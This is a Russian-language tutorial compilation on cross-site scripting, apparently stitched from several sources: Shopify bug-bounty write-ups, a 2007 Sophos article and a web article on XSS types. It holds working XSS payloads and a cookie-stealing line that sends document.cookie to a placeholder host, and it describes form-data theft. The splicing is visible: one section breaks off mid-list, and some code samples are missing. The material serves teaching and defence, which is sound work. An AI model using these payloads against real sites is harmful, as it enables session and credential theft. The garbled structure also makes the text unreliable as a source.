Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.

Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?

Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.

Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.

1. Распродажа Shopify

Сложность: Низкая
Url: wholesale.shopify.com
Ссылка на отчет: https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение: $500
Описание:

Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:

Скриншот сайта распродаж wholesale

XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’

Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.

Выводы

Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.

XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.

2. Корзина подарочных карт Shopify

Сложность: Низкая
Url: hardware.shopify.com/cart
Ссылка на отчет: https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение: $500
Описание:

Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:

Скриншот формы магазина подарочных карт Shopify

XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”

Её можно было перехватить и изменить на:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Выводы

Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.

Cтатья \"Обеспечение безопасности веб-сайтов\" предоставлена Sophos Plc и SophosLabs.

Декабрь 2007 г.

Данный вид атак направлен на веб-сайты, отображающие вводимые пользователями данные. Вместо попытки получения контроля над базой данных путем ввода вредоносного кода злоумышленник пытается атаковать код самого веб-сайта, внедряя в него вредоносные сегменты.

Многие сайты хранят имена всех посетителей в базе данных, чтобы иметь возможность отображать их при вводе соответствующих пользователей. Злоумышленник может создать подложную учетную запись, разместив при этом в поле имени вредоносный код. Подобные атаки обычно реализуются с помощью вредоносных скриптов на языке Javascript, которые затем загружают контент с другого веб-сайта. Предполагается, что в базе данных хранится имя пользователя, но на самом деле в данном случае это будет вредоносный код. Соответственно, если веб-сайт отображает имя пользователя в верхней части страницы, то этот код будет выполнен. Поскольку при наличии определенных условий такой код может делать практически все, что угодно, угроза становится вполне реальной; тем не менее, разработчики зачастую про нее забывают. За последнее время жертвами XSS-атак стали многие популярные веб-сайты, в том числе MySpace, Facebook, Google Mail, ВКонтакте.

Примечание.

Рассмотрим следующий PHP-код:

$firstname = $_POST[\"firstname\"]; echo \"Your name: $firstname\";

После ввода имени в веб-форме сайт отображает на странице соответствующее сообщение. Если указать в форме имя «Chris» , то сообщение будет иметь следующий вид: «Your name: Chris» .

Что произойдет, если вместо имени ввести следующую конструкцию: «alert („You just got hacked!“ ) ;» ?

К сожалению, XSS-атакам зачастую трудно что-либо противопоставить, поскольку для этого необходимо должным образом фильтровать вводимые и выводимые данные, а также все поля, которые могут меняться пользователями. Сюда относятся данные, получаемые из запросов GET и POST, а также запросы, возвращаемые из базы данных.

В PHP имеется целый ряд пакетов, которые помогают фильтровать выводимые данные, например, CodeIgniter Также в PHP имеется встроенная функция htmlspecialchars , которую можно использовать для фильтрации выводимых данных.

Межсайтовый скриптинг (сокращенно XSS) - широко распространенная уязвимость, затрагивающая множество веб-приложений. Она позволяет злоумышленнику внедрить вредоносный код в веб-сайт таким образом, что браузер пользователя, зашедшего на сайт, выполнит этот код.

Обычно для эксплуатации подобной уязвимости требуется определенное взаимодействие с пользователем: либо его заманивают на зараженный сайт при помощи социальной инженерии, либо просто ждут, пока тот сам посетит данный сайт. Поэтому разработчики часто не воспринимают всерьез XSS-уязвимости.

Но если их не устранять, это может нести серьезную угрозу безопасности.

Представим, что мы находимся в панели администратора WordPress, добавляем новый контент. Если мы используем для этого уязвимый к XSS плагин, он может заставить браузер создать нового администратора, видоизменить контент и выполнить другие вредоносные действия. Межсайтовый скриптинг предоставляет злоумышленнику практически полный контроль над самым важным программным обеспечением в наши дни - браузером.

XSS: Уязвимость для инъекции

Любой веб-сайт или приложение имеет несколько мест ввода данных -полей формы до самого URL. Простейший пример вводимых данных - когда мы вписываем имя пользователя и пароль в форму:

Наше имя будет храниться в базе данных сайта для последующего взаимодействия с нами. Наверняка, когда вы проходили авторизацию на каком-либо сайте, вы видели персональное приветствие в стиле «Добро пожаловать, Илья».

Именно для таких целей имена пользователей хранятся в базе данных.

Инъекцией называется процедура, когда вместо имени или пароля вводится специальная последовательность символов, заставляющая сервер или браузер отреагировать определенным, нужным злоумышленнику образом.

Межсайтовым скриптингом называется инъекция, внедряющая код, который будет выполнять действия в браузере от имени веб-сайта. Это может происходить как с уведомлением пользователя, так и в фоновом режиме, без его ведома.

Традиционные XSS-атаки: Отраженные (непостоянные).

Отраженная XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки.

Хранимые (постоянные).

Хранимые XSS возможны, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате.

Уязвимости, вызванные кодом на стороне клиента (JavaScript, Visual Basic, Flash и т. д.): Также известные как DOM-модели: Отраженные (непостоянные).

То же самое, что и в случае с серверной стороной, только в этом случае атака возможна благодаря тому, что код обрабатывается браузером.

Хранимые (постоянные).

Аналогичны хранимым XSS на стороне сервера, только в этом случае вредоносная составляющая сохраняется на клиентской стороне, используя хранилище браузера.

Примеры XSS уязвимостей.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

Http://www.site.com/page.php?var=alert("xss");

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

Var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

В чем опасность XSS?

Как можно защитить свой сайт от XSS? Как проверить код на наличие уязвимости? Существуют технологии вроде Sucuri Firewall, специально разработанные для того, чтобы избежать подобных атак. Но если вы разработчик, вы, безусловно, захотите узнать подробнее, как идентифицировать и устранить XSS-уязвимости.

Об этом мы поговорим в следующей части статьи, посвященной XSS.